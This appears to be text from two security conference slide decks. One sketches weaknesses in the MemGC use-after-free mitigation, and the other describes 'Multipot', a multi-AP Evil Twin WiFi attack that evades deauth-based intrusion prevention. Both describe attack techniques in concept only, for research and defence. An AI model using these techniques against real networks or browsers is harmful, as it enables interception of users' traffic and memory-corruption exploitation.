Prevent the UAF'S exploit
Weakness of MemGC
• Conservative GC
• Interior Pointer
• Cross-reference in different heap
• MemGC heap metadata
Conservative GC
• MemoryProtection weakness: bypass ASLR
• Yuange find the jscript9 GC infoleak
vulnerability. Ga1ois first finish the poc on
IE11.
Interior Pointer
beginaddress
Interioraddress
Chakra GC Interior Pointer
• Interior Address >0x10000
• Interior Address & 0x0f ==0
• GetHeapBlock !=null
• Mark
• invalidBitsData
• can UAF
MemGC Interior Pointer
• Interior Address >0x10000
• GetHeapBlock !=null
• Mark
– Realaddress
=SmallHeapBlock::GetRealAddressFormInterio
• validPointersBuffer
– realaddress=LargeHeapBlock::GetRealAddressFormInt
erior
• May be memory leak
Cross-reference in different heap
• CVE-2015-2425 UAF
• FREE OBJECT IN CustomHeap::Heap
• reuse object in chakra GC Heap
Chakra GC
CustomHeap::Heap
MemGC heap metadata
• LargeHeapBlock::pFreeHeapObject
– LargeobjectHeader
• SmallHeapBlock::pFreeHeapObject
• LargeHeapBlock::pPrevFreeList
• LargeHeapBlock::pNextFreeList
Thank you!
Any question? | pdf |
Multipot: A More Potent Variant
of Evil Twin
K. N. Gopinath
Senior Wireless Security Researcher and
Senior Engineering Manager
AirTight Networks
http://www.airtightnetworks.net
Email: [email protected]
What is this presentation about?
It is about discovery of a more potent variant of Evil Twin.
We call it ‘Multipot’.
Evil Twin recapitulation
Fundamentals of Multipot
Technical details about Multipot threat
Why traditional defenses against Evil Twin threat are
ineffective against Multipot.
Threat scenarios that arise due to Multipot
A demonstration of Multipot threat
Evil Twin - Recap
Attacker sets up AP with a spoofed SSID
Client lured into connecting to attacker’s
AP
Attacker becomes man-in-the-middle
Threat is rampant in hotspots, also
present in homes and campuses
Known Countermeasures
Established Attack Tools: KARMA,
delegated, hotspotter, Monkey Jack and
more…
Evil Twin
SSID = XYZ
WiFi
Client
Legitimate AP
SSID = XYZ
Attacker
Laptop
Network
WIPS Sensor
Session
Containment
X
Level 1 Defense: Don’t
let client to be lured
E.g., watchful user,
layer 2 mutual
authentication,
preprogrammed list
of legitimate AP
MACs etc.
Known Countermeasures
Level 2 Defense
Use Wireless
Intrusion Prevention
System (WIPS) to
contain wireless
session to Evil Twin.
Session containment
via spoofed deauth
from sensor is
prevalent
Not foolproof and not
always practical
Level 2 Defense
Use Wireless
Intrusion
Prevention System
(WIPS) to break
wireless
connection to Evil
Twin.
MultiPot
Multiple APs Acting as Evil Twin
Multiple APs with identical SSID
feeding data into common endpoint
If traditional WIPS session
containment is used on one AP, client
“hops” to another AP in the Multipot
and continues its communication
Deauth based session
containment becomes
ineffective
WiFi
Client
Attacker
Laptop
Network
Multipot
SSID=XYZ
Multipot can be combined with: KARMA,
delegated, hotspotter, Monkey Jack and
more…
WIPS
Sensor
Session
Containment
Level 1 Defense: Don’t
let client to be lured
E.g., watchful user,
layer 2 mutual
authentication,
preprogrammed list
of legitimate AP
MACs etc.
Known Countermeasures
Not foolproof and not
always practical
Legitimate AP
SSID = XYZ
TCP Connection 1
TCP Connection 2
Multipot:
Client communicates
without any major
disruption even with
session containment
WIPS Sensor
00010110
00010110
00010110
00010110
00010110
00010110
00010110
00010110
00010110
00010110
00010110
00010110
00010110
00010110
00010110
Multipot
Threat in Action!
Session Containment
Man in
the middle
Man in
the middle
Same SSID
On all APs
Multipot
Threat Analysis: Sensor Behavior
WIPS sensor detects and deauths client’s connection to
any AP after finite delay
Sensor needs to operate on several 802.11 channels
to detect unauthorized communication
802.11 G consists of 14 channels in 2.4 GHz band
802.11 A consists of about 25 channels in 5.0 GHz band
Sensors may also need to scan proprietary modes such as
Atheros Turbo
Today’s sensors built using commodity hardware
cannot receive or transmit on all channels
simultaneously
Sensor needs to dwell on each channel for a certain time
(e.g., 100 ms) in a certain order (e.g., round robin)
Hence, channel scanning and processing delay in a WIPS
sensor is unavoidable
Our observation indicates that channel scanning delay can
be typically around a second, even up to 10 seconds in
some systems
Multipot
Threat Analysis: Client Behavior
- 802.11 client reconnection 101
- After receiving a 802.11 deauthentication packet
- An 802.11 client performs a 802.11 MAC connection handshake with an
AP
- Handshake involves probe, authentication and association phases
Probe
Phase
Authentication
Phase
Association
Phase
Higher Level
Authentication/
Data Transfer
ReAssociation
Latency
Deauth
Packet
- MAC connection handshake scheme is not specified in 802.11
standard
- Vendors implement different heuristics
- Some vendors use aggressive reconnection scheme
Multipot
Threat Analysis: Client Behavior (Contd.)
ReAssociation Latency
0
10
20
30
40
50
60
70
0
100
200
300
400
500
600
1000
ReAssociation Latency (ms)
Count %
Cisco
Aironet
350
ReAssociation Latency
0
10
20
30
40
50
60
70
80
0
100
200
300
400
500
600
1000
ReAssociation Latency (ms)
Count %
Centrino
2200
ReAssociation Latency
0
20
40
60
80
100
0
100
200
300
400
500
600
1000
ReAssociation Latency (ms)
Count %
Centrino
3945
ReAssociation Latency
0
20
40
60
80
0
100
200
300
400
500
600
1000
ReAssociation Latency (ms)
Count %
Centrino
2915
Centrino & Cisco 350 reassociate to an AP aggressively
We have frequently observed Centrinos reassociate in 30 ms!
Optimizations such as periodic scanning, scanning selected channels seem to be
implemented
ReAssociation latency measurements
3 popular models of Centrino & Cisco 350 used as clients
AP used: Dlink DWL-G730AP
Raw packet deauth injection and simple scripts for timing analysis
Multipot
Threat Analysis - Summary
WIPS sensor gets trapped into a cat and mouse
game due to the above inherent time disparities
involved
Client’s wireless application does not see
disruption while sensor looses the cat and mouse
game
WIPS sensor detects
and deauths client’s
connection to any AP
after finite delay
(order of seconds)
Clients such as
Centrino and Cisco
Aironet 350 cards
swiftly connect to
new APs after being
disconnnected (order
of milliseconds)
Multipot
Prevalent Countermeasure Analysis
As noted earlier
deauth based session containment is NOT effective
for Multipots due to association hopping
Client side software is NOT enough
Wire-side prevention (e.g., switch port disabling) will
NOT work for Multipots
Multipots may not have a controllable switch port
associated with them as we talking of clients
connecting to external APs (and NOT rogue APs
connected to a wired network)
Multipot
Prevalent Countermeasure Analysis (Contd.)
Starting session containment concurrently (e.g., round
robin) on all APs in a Multipot will NOT be sufficient
Reliable containment requires deauth packets to be
sent at a certain frequency
A sensor cannot send packets with required
frequency on multiple (typically more than 2)
channels
Using N Sensors for session containment will NOT work
Not scaleable
An attacker can use N+1 APs
It is relatively easier for an attacker to set up a Multipot
with N+1 APs
Setting up of a Multipot with many APs is possible (e.g.,
using Virtual APs, soft APs)
Additional Technical Details
Multipot Packet Trace for Ping Traffic
Containment for AP
on ch. 6 prompts
the client to hop to
another AP on ch.
11 (not seen)
Containment for AP on
ch. 11 prompts the
client to return to AP on
ch. 6. Traffic flows on
ch. 6 (seen)
Containment for AP on
ch. 6 prompts the client
to hop to another AP on
ch. 11. Traffic flows on
ch. 11 (not seen)
Additional Technical Details
Multipot Packet Trace for HTTP Traffic
Containment for AP
on ch. 6 prompts
the client to hop to
another AP on ch.
11 (not seen)
Containment for AP on
ch. 11 prompts the
client to return to AP on
ch. 6. Traffic flows on
ch. 6 (seen)
Containment for AP on
ch. 6 prompts the client
to hop to another AP on
ch. 11. Traffic flows on
ch. 11 (not seen)
Additional Technical Details
Multipot Packet Trace Showing Association Hopping
Multipot Threat Scenarios
Scenario 1: Naturally Occurring Habitat
Enterprise/Campus network scenario
Enterprises/campuses have policies against their clients connecting
to public APs (e.g., Metro WiFi) or open neighbor APs
Multiple APs with identical SSIDs are naturally present in such
scenarios creating a Multipot
Traditional WIPS session containment fails to stop non-policy
compliant connections to such Multipots!
WiFi
Client
Enterprise AP
SSID=XYZ
Internet
Multipot
SSID=Metro WiFi
Firewall
Non-Policy Compliant Traffic
Multipot Threat Scenarios
Scenario 2: Handcrafted Variants
Public Hotspot scenario
Multipots can be handcrafted with malicious intentions
Attacker can setup a Multipot to lure clients at public hotspots
Once a client connection to Multipot is established, the attacker can
perform various man-in-the-middle attacks using popular tools
(KARMA, hotspotter etc.)
Traditional WIPS countermeasure fails to defend against such
attacker
WiFi
Client
Hotspot AP
SSID=XYZ
Internet
Multipot
SSID=XYZ
Attacker
Laptop
ISP Firewall
Man in the
Middle
Related Works of Other Researchers
Conjectures on Evading WIPS (Traditional Session
Containment)
In his May 2005 paper titled “Weaknesses in Wireless LAN
Session Containment”, Joshua Wright concluded that:
“[S]ession containment can be a valuable mechanism to
augment a secure wireless network deployment. The use of
session containment does not come without risks however,
including WLAN IDS fingerprinting and possible evasion.”
No specific evasion scenario is mentioned
In this presentation we presented a real life scenario
which can be naturally occurring or deliberately
deployed to evade traditional deauth based session
containment.
DARPA and Department of Homeland Security funded
project MAP (Measure, Analyze and Protect), which is aimed
at developing defenses against wireless based attacks
One of the motivations for MAP is the fact that wireless
attackers may use evasive techniques in the future to
bypass WIPS defense
Related Works of Other Researchers
Recognition that Wireless Threats in the Future can
be Evasive
Demonstration
ACKNOWLEDGEMENTS: Sohail, Amit
Demo Setup
Testbed
Session
Containment
Multipot
SSID=XYZ
Attacker
Laptop
Centrino WiFi
Client
Laptop based
Sensor
Demo Setup
What will be Seen?
Centrino victim client swiftly hopping between APs
in the Multipot in response to deauth session
containment
Ping progress well when both APs in the Multipot
are on and sensor is chasing the wireless
connection to deauth
ACKNOWLEDGEMENTS
AirTight Team
Hemant, Pravin (Presentation review)
Debu (Presentation graphics)
References
1.
Joshua Wright, Weaknesses in Wireless LAN Session Containment,
5/19/2005,
http://i.cmpnet.com/nc/1612/graphics/SessionContainme
nt_file.pdf
2.
Jon Cox, Researchers crafting intelligent scaleable WLAN defense,
Networkworld, Dec 2006,
http://www.networkworld.com/news/2006/120706-
intelligent-scaleable-wlan-defense-darpa.html
3.
Christopher Null, Beware the “Evil Twin” Wi-Fi Hotspot,
http://tech.yahoo.com/blogs/null/23163/beware-the-evil-
twin-wi-fi-hotspot
4.
CNN, 'Evil twin' threat to Wi-Fi users,
http://www.cnn.com/2005/TECH/internet/01/20/evil.twin
s/index.html
5.
KARMA, http://www.theta44.org/karma/
6.
Delegated, http://www.delegate.org/delegate/mitm/
7.
Airsnarf, http://airsnarf.shmoo.com/
8.
Hotspotter, http://www.remote-
exploit.org/codes_hotspotter.html
9.
Monkey jack, http://sourceforge.net/projects/airjack/
Thank You
[email protected] | pdf |
Subsets and Splits